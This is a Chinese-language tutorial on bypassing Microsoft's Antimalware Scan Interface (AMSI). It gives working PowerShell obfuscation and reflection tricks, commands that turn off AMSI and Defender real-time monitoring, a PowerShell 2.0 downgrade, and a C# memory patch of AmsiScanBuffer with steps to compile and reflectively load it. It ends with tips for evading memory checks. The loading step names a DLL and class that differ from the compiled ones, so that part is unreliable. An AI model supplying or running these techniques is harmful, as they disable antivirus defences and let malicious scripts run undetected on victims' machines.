Bypass AMSI
字数 1167 2025-08-23 18:31:34
AMSI绕过技术详解
AMSI工作原理
AMSI (Antimalware Scan Interface) 是微软提供的一种反恶意软件扫描接口,其核心工作原理如下:
-
加载机制:当创建PowerShell进程时,AMSI.DLL会从磁盘加载到内存地址空间
-
关键函数:
AmsiScanBuffer():扫描脚本内容的函数AmsiScanString():扫描字符串的函数
-
检测流程:
- PowerShell执行命令时,内容首先发送到
AmsiScanBuffer() - 该函数将内容发送给Windows Defender检查
- 如果内容被判定为恶意,则会被阻止执行
- PowerShell执行命令时,内容首先发送到
-
集成组件:
- 用户帐户控制(UAC)
- PowerShell(脚本、交互使用和动态代码评估)
- Windows脚本宿主(wscript.exe和cscript.exe)
- JavaScript和VBScript
- Office VBA宏(VBE7.dll)
- .NET Assembly(clr.dd)
- WMI
常见绕过技术
1. 字符串检测绕过
字符串拼接
# 直接输入会被检测
amsiutils
# 使用字符串拼接绕过
$a = 'amsi'; $b = 'utils'; $a + $b
字符串编码
Base64编码:
$base64EncodedString = "YW1zaXV0aWxz"
$decodedBytes = [System.Convert]::FromBase64String($base64EncodedString)
$decodedString = [System.Text.Encoding]::UTF8.GetString($decodedBytes)
Write-Output $decodedString
XOR编码:
$key = 0x11
$encodedString = "p|bxdex}b"
$encodedBytes = [System.Text.Encoding]::UTF8.GetBytes($encodedString)
$decodedBytes = foreach ($byte in $encodedBytes) { $byte -bxor $key }
$decodedString = [System.Text.Encoding]::UTF8.GetString($decodedBytes)
Write-Output $decodedString
2. 反射绕过实例
原始被检测代码:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
改进后的绕过方法:
$a = 'System.Management.Automation.A'
$b = 'ms'
$c = 'Utils'
$d = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$c))
$e = $d.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$e.SetValue($null,$true)
3. 禁用AMSI方法
修改注册表
# 需要管理员权限
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows Script\Settings" -Name "AmsiEnable" -Value 0
关闭Windows Defender
# 需要管理员权限
Set-MpPreference -DisableRealtimeMonitoring $true
降低PowerShell版本
# 检查PowerShell版本
$PSVersionTable
# 检查是否支持PowerShell 2.0
Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}' } | Select -ExpandProperty Version
# 使用PowerShell 2.0
powershell.exe -version 2
4. Memory Patching技术
AMSI检测API调用顺序
AmsiInitialize- 初始化AMSI APIAmsiOpenSession- 打开sessionAmsiScanBuffer- 扫描用户输入AmsiCloseSession- 关闭sessionAmsiUninitialize- 删除AMSI API
内存补丁实现(C#)
using System;
using System.Runtime.InteropServices;
namespace Bypass
{
public class AMSI
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
public static int Disable()
{
IntPtr TargetDLL = LoadLibrary("amsi.dll");
if (TargetDLL == IntPtr.Zero)
{
Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");
return 1;
}
IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
if (AmsiScanBufferPtr == IntPtr.Zero)
{
Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");
return 1;
}
UIntPtr dwSize = (UIntPtr)5;
uint Zero = 0;
if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))
{
Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");
return 1;
}
Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(6);
Marshal.Copy(Patch, 0, unmanagedPointer, 6);
MoveMemory(AmsiScanBufferPtr, unmanagedPointer, 6);
Console.WriteLine("AmsiScanBuffer patch has been applied.");
return 0;
}
}
}
编译和使用
- 编译为DLL:
Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwd\Source.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "Bypass-AMSI.dll"
- 反射加载DLL:
[Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("$pwd\By-AMSI.dll"))
[By.AM]::Disable()
- 或者使用Base64编码的DLL:
function Bypass-AMSI{
if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {
[Reflection.Assembly]::Load([byte[]]@(85,48,139,76...)) | Out-Null
Write-Output "DLL has been reflected";
}
[Bypass.AMSI]::Disable();
}
检测与规避技巧
-
使用AMSITrigger工具:
- 可用于定位被查杀的内容
- GitHub项目:https://github.com/RythmStick/AMSITrigger
-
规避内存检查:
- 修改补丁位置(如
addr = addr + 3) - 使用不同的返回码(如
0x80070057表示参数无效)
- 修改补丁位置(如
-
字符串混淆:
- 将敏感字符串拆分为多个部分
- 使用格式化字符串拼接(
'{0}{1}i{2}' -f $a,$b,$c)
总结
AMSI绕过技术主要包括:
- 字符串混淆和编码技术
- 反射调用和类型操作
- 系统配置修改(需权限)
- 内存补丁技术
- PowerShell版本降级
在实际应用中,通常需要结合多种技术才能有效绕过AMSI检测,同时需要注意规避内存检查和字符串检测。随着AMSI的不断更新,这些技术可能需要相应调整以保持有效性。